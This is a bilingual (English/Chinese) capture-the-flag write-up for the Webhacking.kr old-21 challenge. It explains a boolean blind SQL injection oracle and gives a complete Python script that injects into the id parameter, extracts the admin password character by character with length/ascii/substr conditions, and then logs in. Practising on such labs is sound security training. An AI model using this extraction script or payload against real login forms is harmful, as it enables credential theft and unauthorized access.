Webhacking.kr old-21

Challenge

Extract the admin password from the blind SQL injection oracle.

通过 blind SQL injection oracle 提取 admin 密码。

1
https://webhacking.kr/challenge/bonus-1/

Analysis

登录结果提供了一个布尔 oracle:查询条件成立但提交的密码不匹配时返回 wrong password,条件不成立时返回 login fail。把注入放在 id 参数中,先闭合原来的引号,再限定 id='admin',就能逐次测试 length(pw) 和 ascii(substr(pw, position, 1))。

脚本使用 -- 注释服务端拼接在输入后的引号;requests 会负责对参数中的引号和空格做 URL 编码。每个猜测都单独请求,响应文本只用于判断真或假。

Solution

下面的脚本先枚举长度,再枚举每个字符,随后用得到的密码构造一次正常登录请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests

URL = "https://webhacking.kr/challenge/bonus-1/"
TRUE_MARKER = "wrong password"
FALSE_MARKER = "login fail"

def oracle(session, condition):
injection = f"admin' and ({condition}) or '1'='0' -- "
response = session.get(
URL,
params={"id": injection, "pw": "probe"},
timeout=10,
)
response.raise_for_status()
body = response.text.lower()
if TRUE_MARKER in body:
return True
if FALSE_MARKER in body:
return False
raise RuntimeError("response did not contain a known oracle marker")

def recover_password(session):
password_length = None
for length in range(1, 101):
if oracle(session, f"length(pw)={length}"):
password_length = length
break
if password_length is None:
raise RuntimeError("password length was not found")

password_chars = []
for position in range(1, password_length + 1):
for code in range(32, 127):
condition = f"ascii(substr(pw,{position},1))={code}"
if oracle(session, condition):
password_chars.append(chr(code))
break
else:
raise RuntimeError(f"character at position {position} was not found")
return "".join(password_chars)

def login(session, password):
response = session.get(
URL,
params={"id": "admin", "pw": password},
timeout=10,
)
response.raise_for_status()
return response

if __name__ == "__main__":
with requests.Session() as session:
password = recover_password(session)
print(password)
result = login(session, password)
print(result.status_code)
print(result.text)

length(pw) 确定循环边界,substr 的位置从 1 开始;每个字符只有在 oracle 判真时才加入结果,避免把 guest 记录误当成 admin 记录。